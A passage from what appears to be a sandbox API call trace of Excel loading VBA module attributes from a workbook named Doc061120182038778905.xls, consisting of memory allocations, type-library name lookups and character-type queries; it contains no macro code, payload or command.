0xb722540 [0089.860] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0xb722950 [0089.860] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0xb722d60 [0089.860] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0089.860] strcpy_s (in: _Dst=0x22f1c0, _DstSize=0xa, _Src="_Evaluate" | out: _Dst="_Evaluate") returned 0x0 [0089.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22f1c0, cbMultiByte=10, lpWideCharStr=0x22f010, cchWideChar=10 | out: lpWideCharStr="_Evaluate") returned 10 [0089.860] IUnknown:AddRef (This=0xb825960) returned 0x3 [0089.860] ITypeLib:RemoteIsName (in: This=0xb825960, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x22f0e0, pBstrLibName=0x22f010 | out: pfName=0x22f0e0*=0, pBstrLibName=0x22f010) returned 0x0 [0089.860] IUnknown:Release (This=0xb825960) returned 0x2 [0089.860] IUnknown:AddRef (This=0xb824b50) returned 0x2 [0089.860] ITypeLib:RemoteIsName (in: This=0xb824b50, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x22f0e0, pBstrLibName=0x22f010 | out: pfName=0x22f0e0*=1, pBstrLibName=0x22f010) returned 0x0 [0089.861] IUnknown:Release (This=0xb824b50) returned 0x1 [0089.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_Evaluate", cchWideChar=-1, lpMultiByteStr=0x22f1c0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_Evaluate", lpUsedDefaultChar=0x0) returned 10 [0089.861] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0089.861] wcsncpy_s (in: _Destination=0x22f1d0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0x0 [0089.861] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", cchLength=0x36 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls") returned 0x36 [0089.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", cchWideChar=55, lpMultiByteStr=0x22f100, cbMultiByte=110, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", lpUsedDefaultChar=0x0) returned 55 [0089.861] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0 [0089.861] CExposedStream::Seek () returned 0x0 [0089.861] CExposedStream::AddRef () returned 0x2 [0089.861] CExposedStream::Read () returned 0x0 [0089.861] IMalloc:Alloc (This=0x7feffc15380, cb=0x2028) returned 0xbac2b70 [0089.862] IMalloc:Alloc (This=0x7feffc15380, cb=0x10020*=0x10128) returned 0xbac4ba0 [0089.863] CExposedStream::AddRef () returned 0x3 [0089.864] CExposedStream::Release () returned 0x2 [0089.864] IMalloc:Alloc (This=0x7feffc15380, cb=0x2ee0) returned 0xbad4bd0 [0089.864] IMalloc:Alloc (This=0x7feffc15380, cb=0x800) returned 0xba6dd30 [0089.864] CExposedStream::Read () returned 0x0 [0089.865] CExposedStream::Read () returned 0x0 [0089.865] IMalloc:Alloc (This=0x7feffc15380, cb=0x404) returned 0xb723170 [0089.865] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x80", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.865] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x81", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.865] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x82", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.865] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x83", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.865] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x84", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.865] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x85", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.865] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x86", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.865] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x87", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.865] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x88", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.865] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x89", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.865] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8a", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8b", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8c", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8d", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8e", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8f", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x90", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x91", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x92", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x93", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x94", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x95", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x96", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x97", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x98", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x99", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9a", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9b", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9c", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9d", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.866] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9e", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9f", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa0", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa1", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa2", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa3", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa4", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa5", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa6", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa7", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa8", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa9", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xaa", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xab", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xac", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xad", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xae", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xaf", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb0", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb1", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.867] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb2", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb3", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb4", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb5", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb6", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb7", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb8", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb9", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xba", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbb", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbc", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbd", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbe", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbf", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc0", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc1", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc2", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc3", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.868] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc4", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc5", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc6", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc7", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc8", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc9", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xca", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcb", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcc", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcd", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xce", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcf", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd0", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd1", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd2", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd3", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd4", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd5", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd6", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.869] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd7", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd8", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd9", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xda", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdb", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdc", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdd", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xde", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdf", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe0", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe1", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe2", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe3", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe4", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe5", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe6", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe7", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe8", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe9", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.870] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xea", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xeb", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xec", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xed", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xee", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xef", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf0", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf1", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf2", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf3", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf4", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf5", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf6", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf7", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf8", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf9", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfa", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfb", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfc", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.871] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfd", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.872] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfe", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.872] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xff", cchSrc=1, lpCharType=0x22f2d0 | out: lpCharType=0x22f2d0) returned 1 [0089.872] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.872] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0089.872] IMalloc:Alloc (This=0x7feffc15380, cb=0xd) returned 0xb5bc330 [0089.872] IMalloc:Alloc (This=0x7feffc15380, cb=0x1a) returned 0xb8c20c0 [0089.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bc330, cbMultiByte=13, lpWideCharStr=0xb8c20c0, cchWideChar=13 | out: lpWideCharStr="ThisWorkbook") returned 13 [0089.872] IMalloc:Free (This=0x7feffc15380, pv=0xb5bc330) [0089.872] IMalloc:Free (This=0x7feffc15380, pv=0xb8c20c0) [0089.872] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.872] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0089.872] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb8c20c0 [0089.873] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb49c080 [0089.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb8c20c0, cbMultiByte=40, lpWideCharStr=0xb49c080, cchWideChar=40 | out: lpWideCharStr="0{00020819-0000-0000-C000-000000000046}") returned 40 [0089.873] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb49c020 [0089.873] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8d8f00, cb=0x20) returned 0xb8c20f0 [0089.873] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8d9d80, cb=0x28) returned 0xb8c2120 [0089.873] IMalloc:Free (This=0x7feffc15380, pv=0xb8c20c0) [0089.873] IMalloc:Free (This=0x7feffc15380, pv=0xb49c080) [0089.873] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.873] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0089.873] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0089.873] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.873] LHashValOfNameSysA (syskind=0x3, lcid=0x409, 